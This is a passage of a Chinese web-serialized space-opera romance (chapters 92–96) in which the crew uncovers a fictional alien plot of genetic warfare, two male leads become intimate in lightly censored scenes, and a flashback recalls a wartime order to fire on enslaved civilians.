苍天呐，吓得心脏都要跳出来了！ 这要是一时嘴快说漏了，自己还不得被丢到太空里去啊，没有防护服可穿的那种！ 闻铮也听得出来他差点说漏嘴，睨了他一眼，艾尔文医疗官双手合十对他拜了拜。 “我了解一点植物生物学。” 程迹倒是主动请缨：“如果闻指挥官不介意，我可以接手下一步研究。” ……也对，程迹在物理学上的造诣过于万中无一，让人很容易忽略他也是生物博士。而他被通缉的罪名，一个是物理武器研究，另一个是生物基因工程研究，这位程院士连基因改造工程都研究得出来，几棵破草又有什么难的。 现在的情景让闻铮也没有什么其他的选择，也就颔首同意了。 他把话题又拉了回来：“现在破晓号的动力问题也和覆面人有关，他在7号星上的势力肯定不小，甚至在政府系统中的权限也不低。” 这个人……到底是谁？ 他把主和派的欧赫拉下来，就是为了给主战派的段洄腾地方吗？ 可他怎么会事先知道联邦主星系会下达军部与警部联合管理的方针，又怎么知道被分来7号星的军部上将一定会是主战派的人？ 闻铮掐了掐鼻梁，出来一趟，虽然得知了一些信息，但真相却仍然迷雾重重。 …… 四十多个小时转瞬即逝，就在到达魁斗星的前3个小时，谢运霖的声音在舰桥响起：“闻指挥官，程院士正在医疗舱副翼实验室呼叫您。” 闻铮猜到他应该把蓟梨草和B-356研究出来些眉目了，当即把舰桥交给凯利斯，犹豫了一下，还是说：“裴简珩，你和我一起。” 裴简珩十指飞快地设定了自动驾驶，站起身跟着闻铮走出了舰桥。 凯利斯转身，看着裴简珩和闻铮的背影，摸着下巴若有所思。 难道自己不是第一大副么？ 怎么感觉好像裴简珩知道的东西现在比自己还多啊？ 走出舰桥指挥室，走廊里空无一人。 裴简珩一开始还老老实实地跟在闻铮后面，看着他中长的头发扎成一束在背后轻轻摇晃，心里好像有一只小猫伸着爪子在挠，还是没忍住上前一步，偷偷地将闻铮的左手握在了手里。 突如其来的温度让闻铮一惊，下意识地想甩开，鼻尖却萦绕着熟悉又安心的气息，让他在短短一瞬惊愕之后又平静下来。 他看着自己被握紧的左手，默许这个小自己六岁的Alpha情人把他的五指叉进自己的指缝里，然后牢牢地握住，好像这样就可以一直这样在一起，永不分离。 这种陌生的温情让闻铮不是很适应，手上传来被紧紧握住的热度也让他有些不知所措。他知道自己也许要花上一段时间才能接受另一个人的存在，但起码现在，他愿意去尝试。 裴简珩见闻铮只是瞥了一眼，没有挣开，也没有说他，只是沉默地移开目光，似乎还稍微回握了一下。 年轻Alpha的心变得轻快了起来，然而他并没有高兴多久，再走十步就到了医疗舱，闻铮轻轻放开了他的手。 裴简珩低头看了一眼自己的手，悄悄地退后半步回到闻铮身后的位置，刚刚那短暂的四分钟十指相扣，只有他们两人彼此才知道。 “茱莉——程院士，”闻铮刚叫出茱莉两个字，就看到程迹在实验室里是恢复本体的模样，倒也是改口改得快，“你发现什么了吗？” “我在原型的时候会更加的专注，”程迹解释了一句，对他们招了招手，“有一点发现，你们过来看。” 他等了十秒钟，发现怎么没动静。一抬头，两个人还在原地，一动都没动。 程迹：“？” 闻铮很警惕：“蓟梨草可能对除了人类以外的生物没有什么反应，但对于人类来说，会刺激信息素和腺体。” “不会的，”程迹笑了一下，“我已经把它们放进隔离罩里了。” 他们这才踏进了实验室。 刚踏进实验室的时候，闻铮还下意识地屏着呼吸，直到发现他那可怜的腺体没有任何不良反应后，这才放下心来。 “你发现什么了？” “这种草是从哪里得来的？” 闻铮和程迹异口同声，说出口后互相看了一眼，程迹倒是很给面子，率先回答了闻铮的问题：“这种草你们叫什么来着——蓟梨草对吧？” 见闻铮点头，程迹把一块悬浮面板拉出来扔到半空中，上面有一些乱七八糟的数据指标，闻铮和裴简珩都看不懂，程迹也知道他们看不懂，继续说：“B-356是德瓦星上特有的一种三级提取物，它的原生物只能在德瓦母星的环境中生存。” “B-356的作用是可以让除了德瓦人以外的生物致幻，尤其是人类Alpha和Omega，因为腺体感知更灵敏，所以更易导致强烈致幻，而在致幻的前提下，会失去战斗力。” 闻铮颔首：“所以它才会被列为联邦S级违禁药物成分。” “如果联邦军部科学院发现了现在这个产物，”程迹摇头，“B-356就不只是S级违禁药物这么简单了。” 闻铮和裴简珩都是一愣，裴简珩皱眉：“你的意思是，当它和蓟梨草这种本身无害的野草结合之后，反而还会在致幻的基础上，进一步扩大对人类的负面影响？” 程迹沉默了一下，方才道：“这些浸泡了B-356物质的蓟梨草并不是完整产物，我只能从目前的半成品推断。” “——如果比例调配得当，它可以对人类的腺体进行不可逆的永久性损伤，智力传承和体力上限会逐代退化，每代至少15%。” 程院士看着他们，棕色的眼底闪着荧荧怒火：“我不知道为什么德瓦帝国正在分裂出两条截然不同的道路，但蓟梨草和B-356这条路的终点，通往了基因战争和种族灭绝。”—— 作者有话说：感谢Coco、秦长歌、珍白雪w、清商和34402499的营养液！ 掉落蓟梨草（无害版）x1！ 第93章 很能干嘛 一室静默。 闻铮一个字都说不出来, 半晌才从牙缝间挤出几个字：“基因战争……” 程迹也闭了闭眼：“我猜德瓦帝国内部已经有人意识到，即使他们再如何警惕和抗拒其他文明种族，在目前的局势上, 纯粹的热战已经无法实现压倒性的胜利, 所以转向了潜移默化的基因战争。” “这种退化损伤会持续两到三代，非常致命。人类现在正属于高速发展期, 如果在这个节点整体出现退化损伤，整个社会进程都会停滞。德瓦帝国如果在那时再次大规模侵略, 人类毫无还手之力。” “2到3代……”裴简珩喃喃道，“如果我没记错, 德瓦人的寿命是人类的2到3倍，也就是说……” 闻铮眼底闪烁着冷肃的光, “有一代德瓦人会活着看到人类的陨落, 德瓦帝国会像几百年前一样, 再次成为已知宇宙的统治中心。” 程迹看向眼前的闻铮和裴简珩, 眼底有着由物伤其类而衍生的巨大悲悯：“……人类会变成下一个克米恩人, 而联邦的话语权中心，也再也不会有人类的一席之地。” “为了更光辉的复兴……”闻铮咬紧了后槽牙, “原来是这个意思。” 他静默不语，脑海里飞速地闪过这些信息, 进行利弊权衡，过了一会儿才低声道：“联邦军部需要知道这件事。” “好啊，谁去告诉他们？” 程迹双手环胸：“被通缉四千七百二十一年的我，还是已经和星舰……的你？” 他收获了闻铮警告的一眼，把话里面那一截“已经和星舰军部闹翻的”囫囵了过去。 “并且我们没有任何实质性证据，”程迹指了指桌子上被关在隔离罩里绿莹莹的蓟梨草，“这些草现在还是半成品, 我所说的一切，当面对有意质疑的时候，都只能是推测。” “面对德瓦帝国，我们不惮报以最冒险的推测。” 闻铮右手食指点了点自己的大腿外侧，他在思考，半分钟过去，他似乎做了什么决定：“我来处理，多谢程院士。” “……闻指挥官。” 在闻铮和裴简珩踏出实验室之前，程迹在他们背后叫住了他。 闻铮回头，这位被他开玩笑在心里叫做北极兔的通缉犯科学家，现在遥遥地望着他，眼底是莫大的萧索和叹息：“请务必快一点，直觉告诉我，德瓦人已经得到了他们想要的。” 闻铮心底一沉，他也想到了这一连串的突变，从7号星的恐袭再到以利切尔为首的十几位高级军官和警官的牺牲，似乎正拉开了一场即将到来的动荡帷幕。 “闻哥，裴简珩，现在已经进入到魁斗星外围引力带，请回到舰桥，准备降落。” 凯利斯的声音从广播中传来，也把三个人从未来的不确定中拉了回来。 闻铮颔首：“回舰桥吧，我们先把手头的事情做完，后续我会来处理的。不管如何，联邦军部必须知道这件事，我们正在面临的是整个种族的威胁和灭绝，个体的利益在其中已经无足轻重了。” 他转而望向了舷窗之外，掩去了眼底的叹息。 看来他和军部那个交易的截止时间，不得不提前了。 …… “执行降落程序。” 黑发Alpha坐在了舰长椅上，他的脸色依然有一些还未完全痊愈的病态苍白，神色却恢复了冷然果断。 “目标魁斗行星，大气稳定，氧气含量21%，重力读数1G，气压正常区间，温度正常区间，地表稳定，适合降落。” 程迹已经从实验室回到了舰桥，变成茱莉在首席科学官的位置上利用长程和短程传感器扫描魁斗星，进行综合读数风险评估。 黎晓的声音从舰桥广播组传来：“轮机室准备就绪，惯性阻尼器已校准。” 凯利斯进行了武器和能量扫描：“地表目前没有敌对威胁，裴简珩给过来的坐标附近也没有扫描到已知武器。” 闻铮最后把目光移向了裴简珩的背影，他的舵手正坐在他的左前方，全神贯注地设定降落轨道和进场向量，时不时还和替代了导航官的谢运霖确认航线是否清晰。 “一切准备就绪，”裴简珩微微转身过来，眉目含笑，“预估二十分钟后我们会降落到私人太空港。” 闻铮颔首，语气平稳：“开始降落。” 随着他这句命令，全舰都开始各就各位。 而闻铮自己，不知为何，距离魁斗星越近，他的心里越隐隐有些雀跃和不安，好像有什么在这里等着他，冥冥之中，他似乎一定要来这里。 …… 驶入私人太空港的整个过程都非常顺利，这正是中立区的好处，只要有钱有门路，没人会多管你什么。 所有的降落手续都已完成，每次从太空中平稳落地的时候，都会让人心弦一松。 谢运霖的声音响起：“闻指挥官，扫描到舱门外有六位人类和三位魁斗人在等候。” 还没等闻铮开口，裴简珩先转了过来报告：“是这里的负责人，我先去和他们沟通一下。” 闻铮点头批准，也全舰广播让其他人带好东西先离开这艘德瓦战舰。 所有人都陆续离开了星舰，闻铮才从舰长椅上站起身来，轻声道：“运霖，麻烦将实验室的权限拉到最高，除了我以外，任何人都不允许私自进入。” “明白，已设置成功。” “多谢。” 似乎突然又想到了什么，闻铮往外走的脚步微顿：“你和裴简珩之前就认识，是不是？” 短暂的沉默过后，谢运霖有些无可奈何地承认：“是的，指挥官。” “你曾经是艾尼默人，有一个妻子和女儿还在7号星。”闻铮缓缓道，“你为什么会出现在这里，还和人工智能融合到了一起？” 这次沉默的时间稍微长了一些，闻铮能从谢运霖的声音中听到一丝苦笑：“人工智能的指令高于我的意志半个优先级，所以我必须服从这艘星舰上最高指挥官的命令。闻指挥官，我是否可以向您提出自由发言的请求？” 闻铮：“请求允许。” 得到允许以后，谢运霖这次回答得很快：“我不想说。” 闻铮：“……” 他也没有勉强，一个鲜活的生命就此永远被困在了冰冷的芯片和机器之间，这种痛苦他无法理解，当然也不想勉强受害者再去回诌这种痛苦。 “你不想说就算了，”闻铮轻声说，“裴简珩去照看过你的家人，等我们回去7号星，你就能和她们团聚了。” “您……闻指挥官，您和裴少将一样，都有一颗金子般的心。” 谢运霖发出一声叹息：“虽然我并不想再和她们重逢，但我还是非常感谢你们提出这样的提议。” “为什么不想？” 闻铮却没有接受这个赞扬，而是反问了一句。 “已经……过去很多年了。”谢运霖语气低沉了下来，“她们一定以为我已经死了，痛苦已经过去，又何必把伤疤再次揭开？我无法再陪伴在她们身边，忘记我，向前看才是对她们来说最好的选择。” “……我不知道。” 闻铮的声音很轻，也很怅然：“但如果现在有人和我说，我的父母没有死，不管是以何种形态，为了能再看他们一眼，我愿意付出一切代价。” “……” “算了，我只有最后一个问题想问你。”闻铮把话题轻轻岔开，“为什么叫裴简珩是裴少将？” 谢运霖听起来有些不似作伪的迷惑：“……抱歉，我没有理解您的意思。” “我们来到这艘星舰上之后，互相没有按照军衔来称呼过，”闻铮眯起了眼睛，“所以你可能并不清楚，裴简珩和我们介绍他的军衔是中校。” 谢运霖：“……” 他有点想拔自己电源进入休眠了。 闻指挥官刚还要问什么，就听见系统提示音响起：“人工智能融合体已离线。” 闻指挥官：“……” 这都行？ 他一边好笑地摇头，一边勾起唇角，右颊边的梨涡若隐若现。 裴简珩，有你的啊。 揣着的秘密还真是不少。 从他的背景，到基因改造，再到他们的过往，现在甚至连他报出来的军衔都比实际的要低三级。 闻铮不知道当其他人得知自己的情人有这么多秘密的时候会作何反应，是勃然大怒还是黯然伤心，但他自己是没什么脸去控诉这位年下Alpha的。 毕竟他对裴简珩隐瞒的秘密，也不算少。 闻铮一边在心里思量着，一边从星舰走了出去。 而星舰传送梯的下方，高大俊美的Alpha正遥遥地仰望着他，双眸含笑，眉眼怀情。 对战舰在眼前交战的场景都不形于色的闻上将，在此刻，一颗心却扑通扑通地加速跳了起来。 裴简珩和下属安排好一切，正乖乖地等他的闻哥出来。 他看到闻铮向他走来，面上不动声色，耳垂却有些微红。 裴简珩心里有些疑惑，怎么就红温了？ 这时候闻铮开口：“抱歉，刚刚和运霖聊了几句。” 他也就没再多想：“没事的闻哥，我带您去休息的地方？” 闻铮嗯了一声。 在和裴简珩擦肩而过的同时，他坏心眼地低声道：“很能干嘛……” “裴少将。”—— 作者有话说：小剧场： 闻哥：很能干嘛，裴少将 小裴（晃尾巴）[星星眼] —— 感谢风厌、珍白雪w、34402499、Coco、秦长歌的营养液！掉落小裴的私人太空港模型x1！ 第94章 亏欠 “……很能干嘛。” “……裴少将。” 最后三个字出来的时候, 裴简珩简直是如遭雷击，傻傻地愣在当场，远超S级Alpha的聪明脑瓜在这一瞬间都暂停运转了。 闻哥……知道了？ 他怎么知道的？！ 他会不会恼怒自己的隐瞒和欺骗？ 那些他好不容易才争取来的信任……会倒塌吗……？ “裴简珩, 发什么愣？” 闻铮往前走去, 却没见他跟上来，转过身发现这位Alpha正呆呆地伫立在原地, 魂飞天外，忍不住出声把他的神志拉回来。 裴简珩被他的声音拽回来, 见他没有生气的迹象，这才稍稍地放下心来。 只是他本来就心虚, 又被闻铮抓到了军衔的隐瞒，年轻Alpha的表情一时之间很难控制, 有几分赧然又有几分小心翼翼, 默不作声地蹭了过去。 闻铮看他的神情, 好像朝自己挪过来的不是基因战士, 而是一只毛发雪白发亮的大狗, 犯了错被发现的心虚溢于言表，怕自己生气, 还在讨好地晃悠尾巴。 闻指挥官看着这样的裴简珩就想笑，他双手环胸, 坏心眼地想，裴简珩要是艾尼默人说不定会很好玩，他非得狠狠|撸|几下他蓬松的大尾巴不可。 裴简珩期期艾艾地蹭过来，他在闻铮面前一直很温柔的声线这下更是充斥着心虚和讨好：“闻哥，这个商业太空港有自己生态内的酒店，我已经让他们安排好了，我带你去好不好？” 闻铮倒也没有说什么, 只是点了点头。 眼前突然出现了一辆悬浮车，司机是一位魁斗人，他对裴简珩点头示意。 裴简珩和闻铮坐进车里，司机很有眼力见地在驾驶座和后排之间升起了隐私隔绝屏。 后排是宽敞的联排空间，裴简珩朝闻铮那边蹭了两下，又蹭了两下。 闻铮瞥见了，有点好笑，压低声音逗他：“怎么这么局促啊，裴少将？” 裴简珩：“……” 他垮下脸，干脆直接朝闻铮扑过去，把他搂在怀里，低声道：“闻哥……我不是故意的，但……” 他的声音戛然而止。 闻铮用一根手指抵住了他的唇，他那双墨色的眼睛里没有裴简珩担心的愠怒或者失望，只是单纯的笑意：“就像我此前说过的，我知道我们都有秘密，都有一些不适合在这个时间点坦诚的秘密。你没有逼我，我也不会逼你。” 裴简珩也回望着他，他终于得以靠近自己仰望许多年的锚点，却发现这轮高悬的明月比他设想中还要美好上千倍万倍，他甚至怀疑自己究竟何德何能，才能将他拥入怀中。 可为什么这么好的一个人，命运却对他如此不公？ 他更用力地将闻铮抱紧，虔诚地在他唇上落下一个珍而重之的轻吻。 下一刻，却是闻铮主动地回吻了回来。 在唇舌交缠之间，裴简珩喃喃道：“……对不起，闻哥，对不起……” 闻铮气息微喘，也低声问：“为什么道歉？” 裴简珩沉默地吻了他半晌，方才道。 “……我为你做得太少了，不够，都还不够。” 这句话飘到闻铮的耳朵里，让他一时愕然到忘记回应。 裴简珩为了他跨越整个大半个联邦星系，从繁华的首都星来到落后的7号星； 他想尽一切办法留在他身边，为他做他想做的事，保护他想保护的人，哪怕自己已经完全不记得他； 他义无反顾地跟着他踏上了破晓号，几次惊险的任务都自告奋勇地请求同往，陪着他将生死置之度外； 哪怕闻铮提出了过分的要求，他也全盘接受，而在闻铮几近崩溃的时候，也是裴简珩，用远超于他年龄的温柔和同理心，陪着他度过。 而即使他做了这么多，裴简珩却还说——对不起，闻哥，我为你做得太少了。 他不知道裴简珩对自己到底爱到了什么地步，才会永远觉得自己做得不够，永远对他感到亏欠。 但闻铮知道，无论如何，他都要把和裴简珩相关的那段记忆找回来，否则，他永远都对不起裴简珩。 …… 裴简珩名下的这个商业太空港确实很大，还自带了落脚休息的高级酒店，不比瑞昂酒店差。 闻铮进到酒店房间里面，这是这家酒店最好的一个套间，想也知道是谁的意思。 他把东西放到了门口，直奔淋浴间。 热水劈头盖脸打下来的一瞬间，他舒服地喟叹了一声。 星舰上为了节省能源，用的都是清洁波，虽然从物理层面来看，清洁波比热水清洁力更强，但从人体的感受来看，热水带来的享受和放松，是再高科技的清洁波都无法比拟的。 就在他快洗完的时候，淋浴间里的门铃通讯响了。 闻铮关掉了热水，打开了可视门铃悬浮屏画面，果不其然，门外的人是裴简珩。 他坏心眼地笑了一下，按开了门锁，看着裴简珩打开门进来，又故意拧开热水，让雾气和哗啦哗啦的水声充斥了整个浴室。 裴简珩进门以后，四下看了一圈，却没在这个大套房里看到闻铮的人影。 他刚觉得有点奇怪，就听到卧室天花板内嵌的智能音箱传来了闻铮的沙哑声线：“我在洗澡。” 闻铮的声音本来就有些沙哑，在这种场景下，他的嗓音比平时更低，甚至还带了一丝旖旎之感，让裴简珩听着也觉得下|腹|一紧。 裴简珩，家教极好，素养也极好，万万做不出在他又敬又爱的闻哥洗澡的时候闯进去这种事，所以就算心里宛如一万只蚂蚁在爬，也只是老老实实地坐在了一旁的沙发上，右腿搭在左腿上试图进行一些无谓的掩饰。 而闻指挥官，他甚至放慢了洗澡的速度，结果十分钟后，浴室的门没有任何要被打开的意思。 闻铮无言，又打开了智能音箱：“你洗过澡了吗？” 裴简珩一愣，也捞过了床头飘着的悬浮屏，回答：“我洗漱过了才来的。” 闻铮：“……” 他有些咬牙切齿，最后问了一句：“……你洗干净了吗？” 银发Alpha有些被问懵了，犹豫着答：“洗干净了……吧。” 闻指挥官：“……” 他被气笑了。 算了，再说下去，自己好像什么色|诱下属的变态长官一样。 闻铮一边把沐浴香氛的泡沫洗掉，一边忍不住低低地笑出声来了。 这个裴简珩，真是…… 明明小自己六岁，正是意气风发和横冲直撞的年纪，平时那种超过年龄的成熟和周全已经让他觉得万分难得了，没想到在这种时刻，面对自己情人的撩拨，竟然也这么的……克己复礼。 到底是什么样的父母，什么样的家庭和环境，才会造就出这样一个人呢。 闻铮踏出了淋浴间，裹上浴袍，在浴室的大镜子前面洗漱，看着镜子里的自己，一时之间有些失神。 他比从7号星离开的时候，还更加的瘦削一些，但却说不上哪里的变化，让他看起来有些不一样了。 也许是逐渐揭开了一直追寻的真相面纱，也许是身边又有了新的志同道合的同伴，也许是……在茫茫宇宙间，终于找到了一个全心全意为他而来的人。 闻铮有些粗鲁地擦拭着自己湿润的中长发，却听到了一声叹息，下一秒，一只手接过了他手里的毛巾，而自己的后脑勺也被另一只大手温柔又坚定地托住了。 裴简珩小声地埋怨：“闻哥，您对自己也太不爱惜了。” 这么好看的头发，怎么可以这么粗暴。 闻铮在他进来的时候就闻到了他身上的信息素，懒洋洋地任他给自己擦头发：“怎么，来检查我有没有洗干净吗？” 裴简珩：“……” 裴简珩无奈：“闻哥，刚刚是我没反应过来，您别招我了行不行。” 闻铮看着镜子里比自己高一个头还有多的Alpha，以及他宽阔到能把自己装下的胸膛和肩膀，颊边的小梨涡偷偷跑出来了一瞬。 裴简珩一边专心致志地给他擦干头发，一边也在心里痛骂五分钟前迟钝的自己。 主要是他也实在没想到，那么冷然傲绝的闻铮，居然也会暗暗地……勾｜引他。 谁知道下一刻，他就感受到了胸前传来的推力，他下意识地想抵抗，又想到眼前的人是闻哥，一瞬间的犹豫后松了力气，随后就被推到了……巨大的圆形浴缸里面。 裴简珩还没回过神来，闻铮已经躬身打开了浴缸里面的开关，热水在眨眼之间就把裴简珩的睡衣打|湿，让他上半身的胸|肌和腹|肌轮廓若隐若现。 裴简珩无奈地站在下沉式浴缸里面看着他：“……闻哥。” 闻铮当做没听见，他伸手从台面上拿起了发绳，把自己的中长发扎起来，一边咬着发绳走进浴缸，一边低声道：“我觉得我没洗干净，需要再洗一遍，你觉得呢？” 他把头发举起来，唇边还咬着发绳的样子，实在是美到让裴简珩呼吸都暂停。 他难以自控地靠近闻铮，伸手握住他纤瘦到盈盈一握的腰，一把把他拉进自己怀中，与自己紧紧贴合，严丝合缝到几乎没有任何缝隙。 他俯首在闻铮耳边，先是碾｜磨了几下他的耳｜垂，又叼｜住了他紫黑色的腺体疤痕，喃喃道：“我来帮您洗干净。” 闻铮一笑，环住了他的脖颈，放纵自己陷入了那片湛蓝色的汪洋—— 作者有话说：do！！ 给我do！！！（摇旗呐喊 第95章 闻铮！ 两个人把浴室搞得一团糟。 那个圆形浴缸大得出奇, 足以让一米八几的闻铮和比他大一圈的裴简珩在里面肆意折腾，热水扑出来了满地。 就连巨大的镜子也不能幸免，镜面上借由水雾显出了手印, 想也知道有人刚刚在这前面做｜得有多激烈。 他们从浴缸里做到镜子前, 又从镜子前做到卧室沙发上，双方的体力都好得势均力敌, 等到云收雨歇的时候，已经是深夜了。 那张大床很舒服, 裴简珩把闻铮搂在怀里，温柔地用手帮他梳理头发, 昏黄的灯光打下来，让这一幕看上去温情又美好。 闻铮的腰背已经开始隐隐作痛, 基因战士在床|上也是战士, 爽是真爽, 但四倍的体力让他也受不住, 再做下去自己明天真的是爬不起来床了。 而就着昏黄的灯光, 他也能看到这个Alpha身上的伤疤，和自己身上的也半斤八两, 说不上谁的更多。 闻铮垂下眼，修长的手指缓缓摩挲过裴简珩的胸膛, 沙哑着声音问：“这是怎么来的？” 裴简珩低头看去，几不可闻地笑了一下：“那几条是克米恩大屠杀的时候留下的，旁边那些是诺地菲尔之战，再下面是比昂保卫战。” “你现在才27岁，”闻铮轻声问，“已经上过这么多次战场了，你参军的时候多大？” 裴简珩想了想：“18岁, 我一成年就参军了，所以星舰军校也读得磕磕绊绊，一共五年的军校我读了七年才毕业。” 在星舰军校五年的学制里，因为参战，他时不时要休学上战场，如果活下来了，再带着新增添的伤疤回到学校的象牙塔里上课。 这样的人不只是裴简珩一个。 战时，为了保卫联邦，很多人都做出了这样的选择，也有不少学生没能活着回来把星舰军校读完。星舰军校依然会授予他们荣誉学位，把他们的名字和照片永远地刻在军校的纪念墙上。 “为什么不去掉这些疤痕？”闻铮道，“只需要在医疗舱里躺三分钟，一点痕迹都不会留下。” 裴简珩低声道：“这样会让我时刻记得，过去到底发生了什么。” 闻铮爱怜地抚过那些疤痕，在零星散布的圆形疤痕上停了下来：“这是什么？不像是热武器留下的痕迹。” 裴简珩顺着他的手看去，下一刻，闻铮立刻感受到了他胸膛的紧绷。 半晌，就当闻铮那句“不想说就不用说”已经在嘴边的时候，裴简珩回答了。 “那是基因改造留下的。” 闻铮怔住。 他微微抬起身，看向那些圆形的伤疤，不大，但很多。顺着那些伤疤，他眼前似乎浮现了裴简珩被插满了管子泡在试验液中的场景，而站在实验室中那些所谓的科学家，有着黑色的皮肤和浅色的眼瞳—— 这些画面突然在他大脑中闪现，真实到根本不是他能幻想出来的！ 裴简珩注意到了他的停滞，似乎整个人都陷入了什么幻觉中，连忙坐了起来握住闻铮的肩膀：“闻哥？闻哥！” 十几秒后，闻铮从那些画面中拔除出来，脸色苍白地看着眼前的Alpha，轻声问：“……裴简珩。” “……你的基因改造，不是联邦做的，的的确确是德瓦人做的，对吗？” 裴简珩轻轻地放开了握着闻铮肩膀的手。 沉默在这个套房里蔓延，好一会儿，裴简珩才点了点头。 “联邦军部高层曾经一直在讨论是否要允许基因改造，毕竟是战时，如果基因改造能有效扩大联邦的战力和防御力，是不是也可以成为特殊时期的特殊情况。” 裴简珩伸手把黏在闻铮脸侧的碎发拿开，轻声道：“但他们发现，不管他们怎么做，都没办法通过基因改造带来更强的战力，所以这个话题被搁置了，直到我的出现。” “在进行基因改造研究的不止是联邦，还有德瓦帝国。因为初期实验死亡率太高，所以他们用人类和艾尼默人做初期基因潜能实验。我在联邦前锋突击卫的时候，曾经参与过一个潜伏小队的任务去侦查情报，结果情报失误，S级别的任务，我们只有26个人。” 裴简珩沉默了好久，最后才道：“最后只剩下了我。” “我是他们第一个、也是唯一一个成功的试验品，在我被救回到联邦之后，联邦军部从我身上发现，德瓦帝国之所以会改造出基因战士，是因为他们的实验完全背离了人性。” 他的叙述很平缓，好像在说一个与他无关的、发生在其他人身上的故事，但闻铮，闻铮一直看着他，看着那双湛蓝色的眼底依然凝聚着巨大的痛苦和恨，知道裴简珩的心底依然没有过去，他只是在掩盖，而也许永远都无法释然。 “——联邦也许有着这样或那样的缺陷，它不是一个最高理想的乌托邦，但幸好，我们还保留着最基本的人性。” 闻铮顺着他的话说了下去：“所以联邦才会在那一年突然出台了修订案，在整个联邦范围内，严格禁止任何形式的基因改造工程。” 他坐直身体，环抱住Alpha，让他把脸可以埋进自己的颈窝，轻轻拍着他的后背，声音温柔到不可思议。 “过去了，现在你回到了联邦，你不在德瓦帝国实验室，你在我身边。” 裴简珩牢牢地抱住他，似乎想把自己融进闻铮的身体里。 就这样持续了几分钟，闻铮好像变成了裴简珩的氧气来源，他的怀抱是他维持生命的唯一方式。 过了一会儿，闻铮却突然想到了一个问题：“你说，当年给你做了基因改造实验的人，会是现在在用蓟梨草做实验的那批人吗？” 裴简珩思忖了半分钟，缓缓摇头：“我不觉得。” “当年他们在研究基因改造，是为了能获得更具战斗力的基因战士，而现在他们用蓟梨草的这些实验，却让我觉得……” 裴简珩皱起了眉，似乎想找到一个合适的词来形容。 “……变得保守了，对吗？”闻铮接过话头。 “对！”裴简珩眼睛一亮。 闻铮垂下眼睫，慢慢道：“基因改造战士，是想从热战层面通过战斗力的增强从而赢得战争。而利用蓟梨草和B-356进行的基因实验，却是潜移默化地弱化联邦和人类的体力和智力，从而实现种族基因退行化。” “看起来都是在进行基因实验，但这背后的模式和逻辑截然不同。” “要么就是他们无法再复刻和你一样的基因战士，而只能选择其他的办法，要么就是……” 闻铮和他对视了一眼，他灵敏的政治嗅觉在飞快地运作：“……德瓦帝国内部正在进行政斗和分裂。” 一派激进，一派保守。 目的都是为了毁灭人类，瓦解联邦，只是方法不同。但方法只是最外显的一种表现，究其原因，是因为这些势力背后的政见、利益和权利归属各不相同。 而联邦和人类的解法，也许就在这其中。 …… 裴简珩难得会在半夜醒来。 他的睡眠一向很好，一觉到天明。 不知道是不是患得患失，他难以相信他终于能从身到心地得到闻铮，这种隐隐的焦虑和害怕再一次失去的恐惧，让他睡到一半倏地惊醒。 湛蓝的眼睛还有些涣散，他下意识地伸手去摸，直到摸到了闻铮的身体才定下心来。 窗帘拉上后的房间里漆黑一片，但裴简珩却可以把一切都看得很清楚。 他知道自己为什么会醒来了。 因为他的闻哥，不知何时从他怀里挪了出去，团在了床尾。 他太瘦了，明明有着身高优势，缩起来却就那么一小点，像只瘦骨嶙峋的流浪小猫。 裴简珩极尽爱怜地俯身过去，在他额际落下一个充满温情的吻，帮他把被子掖好，然后起身去了一趟卫生间。 套房的卫生间是明卫，有很大的一面单向玻璃，刚刚他就把闻铮压在这扇落地窗上做，做到一向坚韧冷然的闻哥双腿打｜颤，几不可闻地低声告饶。 裴简珩站在窗边俯视着外面魁斗星3区的夜景，心底有些惆怅。 他确实没想过，还会有再回到这里的一天。 魁斗星3区的边缘有一片海域，夜晚看过去有星星点点的银色，是这里特有的银色发光水母，会在深夜漂浮在海面上，宛如给海平面镀上一层银粉，美得惊人。 应该带闻哥去那里看看。 他一边想，一边洗手，在擦手的时候，裴简珩却突然听到房间里传来了异响。 他神色一凛，相位枪虽然没有带在身上，但他立刻进入了警备状态，一般人也打不过他。 可当他警惕地走出洗手间，却发现房间里并没有其他人，而声音的来源，却正是缩在床上的闻铮。 黑发青年缩成一团，满脸冷汗，甚至身体都在轻微地颤抖。 裴简珩心里一空，三步并做两步地跑过去，赶忙将闻铮抱在怀里，这才听清了他几不可闻的声音。 “……对不起……” “我别无选择……对不起……” “——闻哥？闻哥？你怎么了闻哥？” “——闻铮！！”—— 作者有话说：感谢Coco、34402499和秦长歌的营养液！ 掉落镜子（手持版x1！ 第96章 闻哥，没事的 战火纷飞的太空, 数以万计的德瓦前行舰，光子鱼雷和相位炮打得铺天盖地，眨眼间就有一艘星舰被炸成粉末, 随之而来的是不知道多少个生命的殒没。 闻铮好像漂浮在半空, 看一出别人的故事。 他看到艾德莱斯五星上将登上悬空号，来传达联邦军部下达的指令。也看到了尚且年轻的自己噌的一下从舰长椅上站起来激烈地反对。 那时候, 悬空号的闻舰长还没有现在这么瘦削苍白，虽然眉眼间也神色阴郁, 但起码仍有几分少年意气。 “不，我不能下达这个指令！” 联邦最年轻的上将和舰长神色冷硬：“军部知道他们这个命令意味着什么吗？我们对抗德瓦帝国的侵略, 是为了保护和捍卫，我们是保护者和守卫, 不是战争机器！这些武器怎么能对准无辜的平民？” 艾德莱斯五星上将五官刚毅, 他的眼底也飞快地闪过一丝不忍, 嘴上却没有松口半分：“和你一样, 我也为他们感到抱歉和不忍, 但这是战争，而心软的人无法获得胜利！” 闻舰长把视线移向了战线前方, 那里是将近千艘德瓦前行舰，每一艘前行舰里都束缚着被德瓦人奴役的艾尼默人, 每一个前行舰都已经被设定了爆炸自毁程序，如果这些前行舰突破战线，联邦的防御线会就此溃败。 “你可以不认可联邦的军令政策，但我要提醒你，你是士兵，你必须服从命令！并且一旦我们战败，你的同胞都会沦为殖民奴隶, 就像现在你面对的这些人一样。” 闻铮看到那时候的自己神色苍白了起来，有些道理他很清楚，只是他的道德和责任在此刻极度两难。 “如果你有其他的方案，我洗耳恭听。” “如果没有，请你服从联邦星舰军部的命令，闻舰长。” 闻舰长沉默了半晌，低声道：“凯利斯，扫描这些前行舰中的生物信息。” 战术官兼大副凯利斯将扫描信息放大到了舰桥的主屏幕上，整个舰桥的28个军官，悉数哑然。 闻舰长看着满屏幕的艾尼默人，他们的眼底都是巨大的仓皇和恐惧，显然知道被德瓦军队逼作自杀式袭击的他们，最后的结果是什么。 而在这些艾尼默人之中，甚至还有三分之一是未成年的孩子们。 闻舰长注视着他们，久久地难以开口。 “我也不想催你，”艾德莱斯上将低声道，“但距离他们突破我们的抵御防线仅剩10秒。” 悬空号的战术副官正在播报：“10、9、8……” 